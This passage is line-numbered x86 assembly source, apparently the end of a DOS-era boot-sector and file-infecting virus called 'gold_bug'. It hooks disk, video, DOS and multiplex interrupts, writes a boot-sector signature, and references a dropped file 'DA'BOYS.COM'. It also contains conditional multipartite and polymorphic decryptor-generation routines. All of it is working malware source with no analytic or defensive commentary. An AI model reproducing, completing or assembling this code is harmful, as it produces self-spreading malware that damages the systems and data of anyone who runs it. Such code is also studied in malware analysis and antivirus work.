  834.         les    dx,dword ptr ds:[BIOS_INT_13*ADDR_MUL]
  835. set_13_chain:    mov    ax,READ_A_SECTOR
  836.         call    get_set_part
  837.         mov    bx,VIRGIN_INT_13_B-SET_INT_OFFSET
  838.         call    set_interrupt
  839.         mov    bl,low(VIRGIN_INT_13_A-SET_INT_OFFSET)
  840.         call    set_interrupt
  841.         mov    ah,high(WRITE_A_SECTOR)
  842. interrupt_2f    endp
  843.  
  844. ;-----------------------------------------------------------------------------
  845.  
  846. get_set_part    proc    near
  847.         pusha
  848.         push    es
  849.         mov    bx,SCRATCH_AREA
  850.         mov    es,bx
  851.         mov    dx,HD_0_HEAD_0
  852.         inc    cx
  853.         int    NEW_INT_13_LOOP
  854.         mov    ax,READ_A_SECTOR
  855.         int    DISK_INT
  856.         pop    es
  857.         popa
  858. another_return:    ret
  859. get_set_part    endp
  860.  
  861. ;-----------------------------------------------------------------------------
  862.  
  863. return_to_2f    proc    near
  864.         pop    es
  865.         pop    ds
  866.         popa
  867.         jmp    far ptr    original_2f_jmp
  868. return_to_2f    endp
  869.  
  870. ;-----------------------------------------------------------------------------
  871.  
  872. interrupt_10    proc    far
  873. int_10_start:    pushf
  874.         pusha
  875.         push    ds
  876.         push    es
  877.         push    offset a_return+RELATIVE_OFFSET
  878. from_com_code:    xor    bx,bx
  879.         mov    ds,bx
  880.         or    ah,ah
  881.         jz    set_10_back
  882.         mov    ax,QUERY_FREE_HMA
  883.         int    MULTIPLEX_INT
  884.         cmp    bh,high(MIN_FILE_SIZE+SECTOR_SIZE)
  885.         jb    another_return
  886.         mov    ax,ALLOCATE_HMA
  887.         int    MULTIPLEX_INT
  888.         clc
  889.         call    full_move_w_di
  890.         mov    dx,offset int_13_start+RELATIVE_OFFSET
  891.         call    set_13_chain
  892.         mov    bx,VIRGIN_INT_2F-SET_INT_OFFSET
  893.         mov    dx,offset interrupt_2f+RELATIVE_OFFSET
  894.         call    set_interrupt
  895.         cmp    word ptr ds:[LOW_JMP_10],cx
  896.         je    set_10_back
  897.         push    es
  898.         push    es
  899.         mov    di,DOS_INT_ADDR
  900.         mov    bx,INT_21_IS_NOW*ADDR_MUL-SET_INT_OFFSET
  901.         call    get_n_set_int+ONE_BYTE
  902.         pop    ds
  903.         mov    bx,offset old_int_10_21-SET_INT_OFFSET+RELATIVE_OFFSET+ONE_BYTE
  904.         call    set_interrupt
  905.         mov    ds,cx
  906.         mov    ax,DOS_SET_INT+DOS_INT
  907.         mov    dx,LOW_JMP_21
  908.         int    INT_21_IS_NOW
  909.         pop    es
  910.         mov    bx,dx
  911.         mov    dx,offset interrupt_21+RELATIVE_OFFSET
  912.         mov    word ptr ds:[bx],0b450h
  913.         mov    word ptr ds:[bx+TWO_BYTES],0cd19h
  914.         mov    word ptr ds:[bx+FOUR_BYTES],05800h+INT_21_IS_NOW
  915.         call    set_int_10_21
  916. set_10_back:    mov    di,offset old_int_10_21+RELATIVE_OFFSET+ONE_BYTE
  917.         mov    bx,LOW_JMP_10-FAR_JUMP_OFFSET
  918. interrupt_10    endp
  919.  
  920. ;-----------------------------------------------------------------------------
  921.  
  922. get_n_set_int    proc    near
  923.         les    dx,dword ptr cs:[di]
  924.         jmp    short set_interrupt
  925. set_int_10_21:    mov    byte ptr ds:[bx+FAR_JUMP_OFFSET],FAR_JUMP
  926. set_interrupt:    mov    word ptr ds:[bx+SET_INT_OFFSET],dx
  927.         mov    word ptr ds:[bx+CHANGE_SEG_OFF],es
  928.         ret
  929. get_n_set_int    endp
  930.  
  931. ;-----------------------------------------------------------------------------
  932.  
  933.         IF    MULTIPARTITE
  934. set_both_ints    proc    near
  935.         mov    bx,(NEW_INT_13_LOOP*ADDR_MUL)-SET_INT_OFFSET
  936.         call    get_n_set_int+ONE_BYTE
  937.         mov    bl,low(BIOS_INT_13*ADDR_MUL)-SET_INT_OFFSET
  938.         jmp    short set_interrupt
  939. set_both_ints    endp
  940.         ENDIF
  941.  
  942. ;-----------------------------------------------------------------------------
  943.  
  944.         IF    EXECUTE_SPAWNED
  945. exec_table    db    COMMAND_LINE,FIRST_FCB,SECOND_FCB
  946.         ENDIF
  947.  
  948. ;-----------------------------------------------------------------------------
  949.  
  950.         IF    MODEM_CODE
  951.         org    PART_OFFSET+001f3h
  952. string        db    CR,'1O7=0SLMTA'
  953.         ENDIF
  954.  
  955. ;-----------------------------------------------------------------------------
  956.  
  957.         org    PART_OFFSET+SECTOR_SIZE-TWO_BYTES
  958. partition_sig    dw    0aa55h
  959.  
  960. ;-----------------------------------------------------------------------------
  961.  
  962.         org    PART_OFFSET+SECTOR_SIZE+TWO_BYTES
  963. file_name    db    'DA',027h,'BOYS.COM',NULL
  964.  
  965. ;-----------------------------------------------------------------------------
  966.  
  967.         org    PARAMETER_TABLE
  968.         dw    NULL,NULL,NULL,NULL,NULL,NULL,NULL
  969.         db    NULL
  970.  
  971. ;-----------------------------------------------------------------------------
  972.  
  973.         IFE    MULTIPARTITE
  974. boot_load    proc    near
  975.         push    cs
  976.         pop    es
  977.         call    full_move_w_si
  978.         mov    ds,cx
  979.         cmp    cx,word    ptr ds:[NEW_INT_13_LOOP*ADDR_MUL]
  980.         jne    dont_set_intcd
  981.         lds    dx,dword ptr ds:[VIRGIN_INT_13_B]
  982.         mov    ax,DOS_SET_INT+NEW_INT_13_LOOP
  983.         int    DOS_INT
  984. dont_set_intcd:    mov    ah,high(GET_DEFAULT_DR)
  985.         int    DOS_INT
  986.         call    from_com_code+RELATIVE_OFFSET
  987.         mov    ax,TERMINATE_W_ERR
  988.         int    DOS_INT
  989. boot_load    endp
  990.         ENDIF
  991.  
  992. ;-----------------------------------------------------------------------------
  993.  
  994.         IF    POLYMORPHIC
  995. load_it        proc    near
  996.         mov    word ptr ds:[si],FILE_SIGNATURE
  997.         mov    byte ptr ds:[si+TWO_BYTES],FIRST_UNDO_OFF
  998.         push    bx
  999.         xor    ax,ax
  1000.         cli
  1001.         out    043h,al
  1002.         in    al,040h
  1003.         mov    ah,al
  1004.         in    al,040h
  1005.         sti
  1006.         push    ax
  1007.         and    ax,0001eh
  1008.         mov    bx,ax
  1009.         mov    ax,word    ptr ds:[bx+two_byte_table]
  1010.         mov    word ptr ds:[si+ROTATED_OFFSET+TWO_BYTES],ax
  1011.         org    $-REMOVE_NOP
  1012.         pop    ax
  1013.         and    ax,003e0h
  1014.         mov    cl,FIVE_BITS
  1015.         shr    ax,cl
  1016.         mov    bx,ax
  1017.         mov    al,byte    ptr ds:[bx+one_byte_table]
  1018.         xor    al,low(INC_BL)
  1019.         mov    byte ptr ds:[swap_incbx_bl+THREE_BYTES],al
  1020.         pop    bx
  1021.         jmp    com_start
  1022. load_it        endp
  1023.  
  1024. ;-----------------------------------------------------------------------------
  1025.  
  1026. two_byte_table:    mov    al,0b2h
  1027.         xor    al,0b4h
  1028.         and    al,0d4h
  1029.         les    ax,dword ptr ds:[si]
  1030.         les    cx,dword ptr ds:[si]
  1031.         les    bp,dword ptr ds:[si]
  1032.         adc    al,0d4h
  1033.         and    al,084h
  1034.         adc    al,084h
  1035.         adc    al,024h
  1036.         add    al,084h
  1037.         add    al,014h
  1038.         add    al,024h
  1039.         test    dl,ah
  1040.         repz    stc
  1041.         repnz    stc
  1042.  
  1043. ;-----------------------------------------------------------------------------
  1044.  
  1045. one_byte_table:    int    SINGLE_BYTE_INT
  1046.         into
  1047.         daa
  1048.         das
  1049.         aaa
  1050.         aas
  1051.         inc    ax
  1052.         inc    cx
  1053.         inc    dx
  1054.         inc    bp
  1055.         inc    di
  1056.         dec    ax
  1057.         dec    cx
  1058.         dec    dx
  1059.         dec    bp
  1060.         dec    di
  1061.         nop
  1062.         xchg    cx,ax
  1063.         xchg    dx,ax
  1064.         xchg    bp,ax
  1065.         xchg    di,ax
  1066.         cbw
  1067.         cwd
  1068.         lahf
  1069.         scasb
  1070.         scasw
  1071.         xlat
  1072.         repnz
  1073.         repz
  1074.         cmc
  1075.         clc
  1076.         stc
  1077.         ENDIF
  1078.  
  1079. ;-----------------------------------------------------------------------------
  1080.  
  1081. gold_bug    endp
  1082. cseg        ends
  1083. end        com_code
  1084.